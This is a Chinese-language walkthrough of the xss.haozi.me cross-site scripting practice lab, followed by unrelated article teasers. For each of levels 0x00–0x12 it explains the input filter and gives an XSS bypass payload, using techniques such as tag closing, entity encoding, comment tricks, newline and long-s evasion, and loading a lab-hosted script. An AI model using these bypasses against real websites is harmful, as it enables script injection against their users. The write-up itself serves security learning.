xss.haozi.me靶机 通关

0x00

没有任何过滤可以直接注入<img src=x οnerrοr=alert(1)>

0x01

使用了testarea标签将我们的输入内容以普通的字符串进行展示
但是我们可以将标签进行闭合
</textarea><img src=x οnerrοr=alert(1)>

0x02

我们依然可以先闭合之后添加属性a" οnclick="alert(1)

当我们点击输入框后可以实现弹窗

0x03

我们可以看到它通过热品replace()函数将()替换成了空格
但是在html中我们可以使用``来代替()
<img src=x οnerrοr=alert`1`>

0x04

我们可以看到它将我们的()和``都替换成了空
但是我们可以提前编码
<img src=x οnerrοr=alert&#40;1&#41;>
为什么可以这样写呢?因为解码是有顺序的url>html>js

0x05

可以看到它将我们的的输入进行了注释
但是在html中注释有两种写法<!-- -->和<!-- --!>
所以我们的payload可以这样写:--!><img src=x οnerrοr=alert(1)>

0x06

我们可以看到它将auto和on开头的事件都进行了过滤并忽略了大小写
但是html是支持换行的所以我们可以写成
type=image src=x onerror
=alert(1)
那么不是说将on事件进行了过滤吗?为什么我们依然能使用
你需要看清楚它写的正则是以on或auto开头但是它必须以=号结尾
所以我们就可以利用换行进行绕过

0x07

我们可以看到它的正则写的是以<开始,匹配一个<后面可能跟着一个/或者没有跟/
匹配一个或多个非>字符的字符,匹配>字符
也就是说这个正则可以过滤html中的任意标签
我们可以利用html中的一个特性就是标签不必必须写全我们的html可以自动补齐标签
<img src=1 οnerrοr="alert(1)"

0x08

它将我们的输入放在了style标签中并且将style的闭合做了过滤
但是我们依然可以利用html的特性进行绕过
我们可以使用上面使用过的方法就是换行
也可以使用</style >在结束标签中加一个空格html依然可以执行
</style ><img src=x οnerrοr=alert(1)>

0x09

这串代码的意思是必须要有https?://www.segmentfault.com/ 
所以我们可以将payload写在后面
https://www.segmentfault.com/sss" οnerrοr="alert(1) 

0x0A

我们可以看到他将一些符号进行了过滤所以导致我们没办法使用属性
但是我们可以自己制作一个js文件去让js解析
网站也给我们准备了一个可以访问的文件
https://www.segmentfault.com.haozi.me/j.js

所以我们可以写成这样
https://www.segmentfault.com.haozi.me/j.js

0x0B

它使用了toUpperCase()将所有内容都转成了大写
在HTML中标签是不区分大小写的但是path会区分大小写
所以我们需要将path部分进行编码
<img src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;(1)>

0x0C

这里只是对将script替换成了空字符,我们依然可以使用第十二关的方法来注入
如果一定要使用script标签的话可以使用双写进项绕过
<scrscriptipt src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></scriscriptpt>

0x0D

它这里将< / " ' 都进行了过滤
显然我们需要逃逸出被注释掉的alert()
这里我们可以使用换行逃逸出alert()然后使用-->注释掉后面的‘)
        xxx
        alert(1)
        -->

0x0E

它在所有以<的开头都用了替换使我们的标签失效
这里我们需要使用到一个技巧html中s还有一种特殊的写法 ſ
"ſ" 是拉丁字母 "s" 的一种历史形式,称为长 s(long s)
<ſvg/οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0F

我们发现它将我们的特殊字符替换成了html实体编码放入到了onerrror中
但是我们的onerror事件中html实体编码是可以正常转换调用的
我们可以先将前边的闭合,然后使用换行或者 ; 
 aaaa');alert(1)//

0x10

我们可以看到它将我们的输入直接放在了window.data
这相当于window直接调用函数所以我们直接输入
alert(1)

0x11

我们可以看到它将我们特殊符号和换行符等都进行了过滤
但是我们依然可以尝试先闭合")虽然它将换行符过滤了但是我们依然可以使用 ; 
最后使用//注释符将后面的"注释
");alert(1)//

0x12

可以看到它使用将"替换成了\\" 当我们输入后它会将我们的"进行转义防止我们闭合
但是我们只需要在将转义符转义一次它的转义符就会失效当我们输入\"这样的内容后
实际就会变成 \\" 这样它的转义符就会失效我们就可以完成闭合
\");alert(1)//

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/445084.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Arcgis小技巧【20】——属性表有东西,缩放至图层却看不到?

一、问题分析 这是一个看似正常的要素类数据&#xff0c;打开它的属性表&#xff0c;里面有一行要素&#xff1a; 说明这不是空数据。 回到地图界面&#xff0c;在图层列表中&#xff0c;右键单击&#xff0c;点击【缩放至图层】。 使用过这个功能的应该知道&#xff0c;点击…

数据结构奇妙旅程之二叉平衡树

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …

数据结构入门篇 之 【单链表】的实现讲解(附单链表的完整实现代码以及用单链表完成通讯录的实现代码)

虽然封面是顶针&#xff0c;但是我们还是要好好学习❀ 一.单链表 1.单链表的概念 2.单链表的结构 3.单链表的实现 1&#xff09;.尾插函数 SLTPushBack 2&#xff09;.打印函数 SLPrint 3&#xff09;. 头插函数 SLTPushFront 4&#xff09;.尾删函数 SLTPopBack 5&am…

docker容器的数据卷

1配置数据卷 docker run --namen01 -d --restartalways -p 80:80 -v /qy172/data/nginx/html:/usr/share/nginx/html nginx 2Docker应用部署 1搜索mysql镜像 docker search mysql 2拉取mysql镜像 docker pull mysql:5.6 3创建容器&#xff0c; 设置端口映射、目录映射 d…

Pycharm安装,环境初次配置与运行第一个简单程序

一、Pycharm安装 1.在PyCharm官网中&#xff0c;找到社区版下载链接&#xff0c;下载Pycharm社区版&#xff0c;社区版免费 2.下载成功后&#xff0c;双击下载好的安装包&#xff0c;点击下一步后&#xff0c;点击“浏览”更改安装路径到C盘以外其他硬盘&#xff0c;点击“下…

6 种 卷积神经网络压缩方法

文章目录 前言 1、低秩近似 2、剪枝与稀疏约束 3、参数量化 4、二值化网络 &#xff08;1&#xff09;二值网络的梯度下降 &#xff08;2&#xff09;两个问题 &#xff08;3&#xff09;二值连接算法改进 &#xff08;4&#xff09;二值网络设计注意事项 5、知识蒸馏 6、浅层 …

Pulsar 社区周报 | No.2024.03.08 Pulsar-Spark Connector 助力实时计算

关于 Apache Pulsar Apache Pulsar 是 Apache 软件基金会顶级项目&#xff0c;是下一代云原生分布式消息流平台&#xff0c;集消息、存储、轻量化函数式计算为一体&#xff0c;采用计算与存储分离架构设计&#xff0c;支持多租户、持久化存储、多机房跨区域数据复制&#xff0c…

SpringCloudGateway理论与实践

文章目录 网关介绍为什么需要网关Gateway 使用gateway pom依赖yml 配置重启测试总结 断言过滤器工厂路由过滤器的种类请求头过滤器默认过滤器全局过滤器总结 Gateway解决跨域 网关介绍 Spring Cloud Gateway 是一个基于Spring Framework 5&#xff0c;由Spring Cloud团队开发的…

定制repo(不再切换python和google源)

文章目录 定制repo&#xff08;不再切换python和google源&#xff09;前言各用各的repo定制repo2/repo3源码自动识别repo2/repo3项目完整解决方案&#xff1a; 定制repo&#xff08;不再切换python和google源&#xff09; 众知&#xff0c;Android/AOSP/ROM系统开发&#xff0c…

垃圾回收:JavaScript内存管理的利器

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

【SpringCloud】微服务重点解析

微服务重点解析 1. Spring Cloud 组件有哪些&#xff1f; 2. 服务注册和发现是什么意思&#xff1f;Spring Cloud 如何实现服务注册和发现的&#xff1f; 如果写过微服务项目&#xff0c;可以说做过的哪个微服务项目&#xff0c;使用了哪个注册中心&#xff0c;常见的有 eurek…

vue实现购物车功能

实现功能 CSS部分 <style>.tr {display: flex;}.th {margin: 10px;width: 20%;height: 50%;}.td {display: flex;margin: 10px;width: 20%;height: 100px;align-items: center;}.app-container .banner-box {border-radius: 20px;overflow: hidden;margin-bottom: 10px;}…

docker-swarm集群搭建

目录 一、docker swarm介绍 二、部署docker 三、搭建集群 3.1 工作模式 3.2 将当前主机作为leader 3.3 将第二个节点slave1加入到worker 3.4 将第三个节点slave2也加入到worker 3.5 将第四个节点(slave3)加入到manager 四、总结 一、docker swarm介绍 Docker Swarm…

CSS顶部与JS后写:网页渲染的奥秘

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

动态规划(算法竞赛、蓝桥杯)--数位DP度的数量

1、B站视频链接&#xff1a;E38 数位DP 度的数量_哔哩哔哩_bilibili #include <bits/stdc.h> using namespace std; const int N34; int a[N];//把B进制数的每一位抠出存入数组 int f[N][N];//f[i][j]表示在i个位置上&#xff0c;放置j个1的组合数 int K,B;void init(…

11.Node.js入门

一.什么是 Node.js Node.js 是一个独立的 JavaScript 运行环境&#xff0c;能独立执行 JS 代码&#xff0c;因为这个特点&#xff0c;它可以用来编写服务器后端的应用程序 Node.js 作用除了编写后端应用程序&#xff0c;也可以对前端代码进行压缩&#xff0c;转译&#xff0c;…

Java 数据结构之链表

public ListNode getIntersectionNode(ListNode headA, ListNode headB) {if (headA null || headB null) return null;ListNode pA headA, pB headB;while (pA ! pB) {pA pA null ? headB : pA.next;pB pB null ? headA : pB.next;}return pA;} public ListNode rev…

2024.3.6每日一题

LeetCode 找出数组中的 K -or 值 题目链接&#xff1a;2917. 找出数组中的 K-or 值 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。 nums 中的 K-or 是一个满足以下条件的非负整数&#xff1a; 只有在 nums 中&…

【开源】SpringBoot框架开发教学资源共享平台

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 课程档案模块2.3 课程资源模块2.4 课程作业模块2.5 课程评价模块 三、系统设计3.1 用例设计3.2 类图设计3.3 数据库设计3.3.1 课程档案表3.3.2 课程资源表3.3.3 课程作业表3.3.4 课程评价表 四、系统展…

遗传算法GA求解机器人栅格地图最短路径规划,可以自定义地图及起始点(提供MATLAB代码)

一、原理介绍 遗传算法是一种基于生物进化原理的优化算法&#xff0c;常用于求解复杂问题。在机器人栅格地图最短路径规划中&#xff0c;遗传算法可以用来寻找最优路径。 遗传算法的求解过程包括以下几个步骤&#xff1a; 1. 初始化种群&#xff1a;随机生成一组初始解&…